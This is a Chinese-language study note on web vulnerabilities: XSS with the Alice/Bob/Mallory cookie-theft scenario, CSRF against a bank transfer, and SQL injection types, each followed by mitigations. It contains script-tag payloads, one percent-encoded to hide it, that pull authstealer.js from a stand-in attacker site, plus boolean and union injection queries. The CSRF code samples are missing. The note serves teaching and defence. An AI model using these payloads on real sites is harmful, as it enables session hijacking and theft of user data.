XSS(Cross Site Scripting：跨站点脚本)由于CSS已经用于层叠样式，故用X代替C，X有未知和扩展的含义

--当目标站点被用户访问，再渲染HTML的过程中，出现了一些没有预期到的脚本指令，并执行该脚本。

类型

• 非持久性（反射型）

当Web客户端提供的数据（最常见于HTTP查询参数（例如HTML表单提交））被服务器端脚本立即用于解析和显示该用户的结果页面时，会出现这些漏洞，没有正确消毒请求。

• 持久（存储）

它在由攻击者所提供的数据是由服务器保存的，然后在“正常”的页面返回到其他用户永久地显示发生定期浏览的过程，没有正确的HTML转义。一个典型的例子是在线留言板，允许用户发布HTML格式的消息供其他用户阅读。

• 服务器端与基于DOM的漏洞

用例

非持久性

1. Alice经常访问由Bob托管的特定网站。Bob的网站允许Alice使用用户名/密码对登录并存储敏感数据，例如账单信息。当用户登录时，浏览器会保留一个授权Cookie，它看起来像一些垃圾字符，因此两台计算机（客户端和服务器）都有一条她已登录的记录。
2. Mallory观察到Bob的网站包含一个反映的XSS漏洞：
   1. 当她访问“搜索”页面时，她会在搜索框中输入搜索词，然后单击“提交”按钮。如果未找到任何结果，页面将显示她搜索的术语，后跟“未找到”字样，并且网址将为http://bobssite.org/search?q=her search term。
   2. 使用普通的搜索查询，例如单词“ puppies ”，页面只显示“ 未找到的小狗 ”，网址为“http://bobssite.org/search?q = puppies ” - 这是完全正常的行为。
   3. 但是，当她提交异常搜索查询时，如“ ”， <script type='application/javascript'>alert('xss');</script>
      • 出现一个警告框（表示“xss”）。
      • 该页面显示“未找到”，以及带有文本“xss”的错误消息。
      • 网址是“ - 这是可利用的行为。http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script>
3. Mallory制作了一个利用此漏洞的URL：
   1. 她制作了这个网址。她可以选择使用百分比编码对ASCII字符进行编码，例如，这样人类读者就无法立即破译恶意URL。http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
   2. 她给鲍勃网站的一些毫无防备的成员发了一封电子邮件，说“看看一些可爱的小狗！”
4. 爱丽丝收到电子邮件。她喜欢小狗并点击链接。它进入Bob的网站进行搜索，找不到任何内容，并显示“找不到小狗”但正好在中间，脚本标签运行（它在屏幕上看不见）并加载并运行Mallory的程序authstealer.js（触发） XSS攻击）。爱丽丝忘掉了它。
5. authstealer.js程序在Alice的浏览器中运行，就像它来自Bob的网站一样。它抓取Alice的授权Cookie副本并将其发送到Mallory的服务器，Mallory在那里检索它。
6. Mallory现在将Alice的授权Cookie放入她的浏览器中，就好像它是她自己的一样。然后她去了Bob的网站，现在以Alice身份登录。
7. 现在她已进入，Mallory进入网站的账单部分，查找Alice的信用卡号码并抓取副本。然后她去改变她的密码，以便爱丽丝甚至不能再登录了。
8. 她决定更进一步向Bob本人发送一个类似的链接，从而获得Bob的网站管理员权限。

可以采取一些措施来缓解这种攻击：

1. 搜索输入可能已经过清理，其中包括正确的编码检查。
2. 可以将Web服务器设置为重定向无效请求。
3. Web服务器可以检测来自两个不同IP地址的同时登录并使会话无效。
4. 该网站只能显示以前使用的信用卡的最后几位数字。
5. 在更改注册信息之前，网站可能要求用户再次输入密码。
6. 该网站可以制定内容安全政策的各个方面。
7. 可以教育用户不要点击“良性外观”，而是点击恶意链接。
8. 使用HttpOnlyflag 设置cookie 以防止从JavaScript访问。

持续攻击

1. Mallory在Bob的网站上获得了一个帐户。
2. Mallory观察到Bob的网站包含存储的XSS漏洞。如果您转到新闻部分并发表评论，它将显示他为评论键入的任何内容。但是，如果注释文本中包含HTML标记，则标记将按原样显示，并且任何脚本标记都会运行。
3. Mallory在“新闻”部分阅读了一篇文章，并在“评论”部分底部的评论中写道。在评论中，她插入了以下文字：I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
4. 当Alice（或其他任何人）使用评论加载页面时，Mallory的脚本标记会运行并窃取Alice的授权cookie，然后将其发送到Mallory的秘密服务器进行收集。
5. 马洛里现在可以劫持爱丽丝的会话并冒充爱丽丝。

鲍勃的网站软件应该删除脚本标签或做一些事情以确保它不起作用，但安全漏洞是因为他没有。

预防措施

• 字符串输入的上下文输出编码/转义
• 安全验证不受信任的HTML输入
• HttpOnly标志cookie

参考文章：

CSRF(Cross-site request forgery)跨站请求伪造 

用户登录网站A后，由A产生了一个用户的cookie，此时用户在未退出的状态下，登录网站B，网站B就可以利用网站A存在的CSRF漏洞，盗用用户的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。

CSRF原理：

从上图可以看出，要完成一次CSRF攻击，受害者必须依次完成两个步骤：

　　1.登录受信任网站A，并在本地生成Cookie。

　　2.在不登出A的情况下，访问危险网站B。

实例1：

　　银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000

　　危险网站B，它里面有一段HTML的代码如下：

示例2：

　　为了杜绝上面的问题，银行决定改用POST请求完成转账操作。

　　银行网站A的WEB表单如下：　　

     
      　　　　
      
ToBankId: 
　　　　
      
Money: 
　　　　
      
     

　然而，危险网站B与时俱进，它改了一下代码：

该攻击利用了 WEB 的隐式身份验证机制！WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器，但却无法保证该请求是用户批准发送的！

如何避免

• 尽量使用POST请求，相对不容易破解
• 验证码  --每次提交都需要确认是否是人为操作，而非代码
• One-Time Tokens   --不同的表单包含一个不同的伪随机值

SQL注入  

1. 布尔注入
2. 联合注入
3. 延时注入
4. 报错注入

1. 布尔注入

单引号闭合username, or 2>1（可以直接用true替换2>1）使查询条件恒成立，-- 注释后面的语句

select username,password from user where username='123' or 2>1 -- ' and password='123456'

 2. 联合注入 

获取字段数

• group by
• order by
• union select

获取数据库名

database()

获取表名

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database()'

获取表中字段名

select COLUMN_NAME from information.schema.COLUMN where TABLE_NAME=''

获取内容

select 1,username,password from 表名

如何防止SQL注入 

1. 白名单 规定可输入的格式（数字、字母、下划线等）

2. 过滤或转义特殊符号

3. 绑定变量，使用预编译语句